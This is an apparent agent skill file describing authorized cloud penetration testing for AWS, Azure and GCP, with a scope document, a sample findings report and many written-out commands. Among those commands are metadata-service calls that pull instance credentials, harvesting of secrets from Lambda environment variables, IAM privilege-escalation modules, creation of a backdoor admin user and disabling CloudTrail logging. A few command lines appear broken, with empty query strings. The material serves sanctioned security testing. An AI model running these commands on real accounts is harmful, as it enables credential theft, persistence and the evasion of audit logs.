conducting-cloud-penetration-testing

This skill outlines methodologies for performing authorized penetration testing against AWS, Azure, and GCP cloud environments. It covers understanding the shared responsibility model for testing scope, leveraging cloud-specific attack tools like Pacu and ScoutSuite, exploiting IAM misconfigurations, testing for SSRF to cloud metadata services, and reporting findings aligned to MITRE ATT&CK Cloud matrix.

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Last source activity: March 16, 2026 at 00:29
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name	conducting-cloud-penetration-testing
description	This skill outlines methodologies for performing authorized penetration testing against AWS, Azure, and GCP cloud environments. It covers understanding the shared responsibility model for testing scope, leveraging cloud-specific attack tools like Pacu and ScoutSuite, exploiting IAM misconfigurations, testing for SSRF to cloud metadata services, and reporting findings aligned to MITRE ATT&CK Cloud matrix.
domain	cybersecurity
subdomain	cloud-security
tags	["cloud-pentesting","offensive-security","aws-exploitation","shared-responsibility","mitre-attack-cloud"]
version	1.0.0
author	mahipal
license	Apache-2.0

Conducting Cloud Penetration Testing

When to Use

When performing authorized security assessments of cloud environments before production deployment
When validating cloud security controls after a major architectural change or migration
When compliance requirements mandate annual penetration testing of cloud infrastructure
When testing incident response readiness by simulating realistic cloud-based attack scenarios
When assessing lateral movement risk across multi-account or multi-cloud environments

Do not use for unauthorized testing against cloud accounts, for testing cloud provider infrastructure itself (covered by the shared responsibility model), or for DDoS simulation without explicit cloud provider approval.

Prerequisites

Written authorization from the cloud account owner and scope definition document
AWS, Azure, or GCP penetration testing policy acknowledgment (AWS no longer requires pre-approval for most services)
Isolated testing account or explicitly scoped production account with breakglass procedures
Cloud-specific offensive tooling installed: Pacu (AWS), ScoutSuite, Prowler, CloudFox
MITRE ATT&CK Cloud matrix for finding classification

Workflow

Step 1: Define Scope and Rules of Engagement

Establish testing boundaries based on the shared responsibility model. The customer is responsible for testing configurations, IAM policies, application security, and data protection. The cloud provider manages physical infrastructure, hypervisor, and managed service internals.

Cloud Penetration Test Scope Document
=======================================
Target: AWS Account 123456789012 (Production)
Testing Window: 2025-02-24 08:00 UTC to 2025-02-28 18:00 UTC
Authorization: Signed by CISO, dated 2025-02-20

IN SCOPE:
  - IAM users, roles, policies, and cross-account trust
  - EC2 instances, security groups, and network ACLs
  - S3 bucket policies and data access controls
  - Lambda functions, API Gateway endpoints
  - RDS/DynamoDB access controls and encryption
  - EKS cluster RBAC and network policies
  - CloudTrail, Config, and monitoring gaps

OUT OF SCOPE:
  - AWS managed service internals (RDS engine, Lambda runtime)
  - DDoS attacks or volumetric testing
  - Physical infrastructure or hypervisor attacks
  - Social engineering of AWS support

EMERGENCY CONTACT: security-ops@company.com, +1-555-0199

Step 2: Reconnaissance and Cloud Enumeration

Use cloud-specific tools to enumerate the attack surface: exposed services, public IPs, S3 buckets, IAM configurations, and metadata endpoints.

# ScoutSuite multi-cloud assessment
scout suite aws --profile target-account --report-dir ./scout-report


prowler aws -M json-ocsf -o ./prowler-output --profile target-account


cloudfox aws --profile target-account all-checks


 bucket  $(aws s3api list-buckets --query  --output text); 
  aws s3api get-bucket-policy-status --bucket  2>/dev/null | grep -q  &&  



aws ec2 describe-instances \
  --query  \
  --output table

# Initialize Pacu session
pacu

# Set stolen or test credentials
set_keys --key-alias test-creds

# Run IAM enumeration modules
run iam__enum_users_roles_policies_groups
run iam__enum_permissions

# Check for privilege escalation paths
run iam__privesc_scan

# Common escalation paths to test:
# 1. iam:CreatePolicyVersion - Create new policy version with admin access
# 2. iam:AttachUserPolicy - Attach AdministratorAccess to self
# 3. iam:PassRole + lambda:CreateFunction - Create Lambda with admin role
# 4. iam:PassRole + ec2:RunInstances - Launch EC2 with admin instance profile
# 5. sts:AssumeRole - Cross-account role assumption without MFA condition

# Test for IMDS v1 access (no token required)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Test for IMDS v2 (requires token - more secure)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Azure IMDS equivalent
curl -H "Metadata:true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# GCP metadata service
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

# Enumerate cross-account role trusts
aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument.Statement[?Principal.AWS!=`null`]].[RoleName,Arn]' --output table

# Test cross-account assumption
aws sts assume-role \
  --role-arn arn:aws:iam::987654321098:role/CrossAccountRole \
  --role-session-name pentest-session

# Enumerate accessible S3 data with stolen credentials
aws s3 ls --recursive s3://target-bucket/ --summarize

# Check Lambda environment variables for secrets
aws lambda list-functions --query 'Functions[*].[FunctionName]' --output text | while read fn; do
  aws lambda get-function-configuration --function-name "$fn" \
    --query 'Environment.Variables' --output json 2>/dev/null
done

# Test: Create backdoor IAM user (authorized test only)
aws iam create-user --user-name pentest-backdoor
aws iam create-access-key --user-name pentest-backdoor
aws iam attach-user-policy --user-name pentest-backdoor \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# Test: Disable CloudTrail (verify GuardDuty alerts)
aws cloudtrail stop-logging --name management-trail

# Test: Create Lambda for persistence (authorized test only)
# Verify: Did GuardDuty generate Stealth:IAMUser/CloudTrailLoggingDisabled?
# Verify: Did Security Hub alert on the new admin user?

# CLEANUP: Remove all persistence artifacts after testing
aws iam delete-access-key --user-name pentest-backdoor --access-key-id AKIAEXAMPLE
aws iam detach-user-policy --user-name pentest-backdoor \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam delete-user --user-name pentest-backdoor
aws cloudtrail start-logging --name management-trail

Term	Definition
Shared Responsibility Model	Cloud security framework where the provider secures infrastructure and the customer secures data, configurations, and access controls
IMDS	Instance Metadata Service at 169.254.169.254 that provides instance identity, credentials, and configuration data; IMDSv2 requires token-based access
Privilege Escalation	Exploiting IAM misconfigurations to elevate from limited permissions to administrative access within a cloud account
Lateral Movement	Using compromised credentials or trust relationships to access resources in other accounts, VPCs, or cloud providers
Pacu	Open-source AWS exploitation framework for penetration testing, providing modules for enumeration, escalation, and persistence
ScoutSuite	Multi-cloud security auditing tool that collects configuration data and generates HTML reports with risk findings
MITRE ATT&CK Cloud	Adversary tactics and techniques matrix specific to cloud environments including Initial Access, Execution, Persistence, and Exfiltration

Cloud Penetration Test Report
===============================
Target: AWS Account 123456789012 (Production)
Testing Period: 2025-02-24 to 2025-02-28
Methodology: MITRE ATT&CK Cloud + OWASP Cloud Testing Guide
Tester: Security Team - Authorized Engagement

EXECUTIVE SUMMARY:
  Starting with read-only developer credentials, the assessment achieved
  full administrative access to the production account within 3 hours through
  an IAM privilege escalation chain. 47 findings identified across 7 ATT&CK tactics.

CRITICAL FINDINGS:
[PT-001] IAM Privilege Escalation via iam:CreatePolicyVersion
  ATT&CK: T1098.001 (Account Manipulation: Additional Cloud Credentials)
  Severity: CRITICAL
  Starting Point: Developer role with iam:CreatePolicyVersion permission
  Impact: Full administrative access to all account resources
  Evidence: Created policy version granting iam:* and s3:* to test role
  Remediation: Remove iam:CreatePolicyVersion from developer roles, add permission boundary

[PT-002] SSRF to IMDS Credential Theft
  ATT&CK: T1552.005 (Unsecured Credentials: Cloud Instance Metadata API)
  Severity: CRITICAL
  Starting Point: Web application URL parameter vulnerable to SSRF
  Impact: Extracted IAM role credentials with S3 and Lambda access
  Remediation: Enforce IMDSv2, apply WAF rules for SSRF, restrict IAM role scope

FINDING SUMMARY BY MITRE ATT&CK TACTIC:
  Initial Access:       4 findings
  Execution:            3 findings
  Persistence:          6 findings
  Privilege Escalation: 8 findings (3 Critical)
  Defense Evasion:      5 findings
  Credential Access:    7 findings
  Discovery:           14 findings
  Total:               47 findings